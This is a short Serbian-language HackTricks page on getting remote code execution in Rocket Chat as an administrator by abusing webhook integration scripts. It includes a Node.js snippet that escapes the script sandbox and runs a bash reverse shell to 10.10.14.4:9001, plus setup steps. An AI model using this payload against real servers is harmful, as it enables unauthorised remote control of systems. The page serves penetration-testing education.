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38 lines
1.5 KiB
Markdown
38 lines
1.5 KiB
Markdown
# Rocket Chat
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{{#include ../../banners/hacktricks-training.md}}
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## RCE
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Ako ste administrator unutar Rocket Chat-a, možete dobiti RCE.
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- Idite na **`Integrations`** i izaberite **`New Integration`** i odaberite bilo koju: **`Incoming WebHook`** ili **`Outgoing WebHook`**.
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- `/admin/integrations/incoming`
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<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
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- Prema [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), oba koriste ES2015 / ECMAScript 6 ([u suštini JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) za obradu podataka. Dakle, hajde da dobijemo [rev shell za javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) kao:
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```javascript
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const require = console.log.constructor("return process.mainModule.require")()
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const { exec } = require("child_process")
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exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
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```
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- Konfigurišite WebHook (kanal i post kao korisničko ime moraju postojati):
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<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
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- Konfigurišite WebHook skriptu:
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<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
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- Sačuvajte promene
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- Dobijte generisani WebHook URL:
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<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
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- Pozovite ga sa curl i trebali biste primiti rev shell
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{{#include ../../banners/hacktricks-training.md}}
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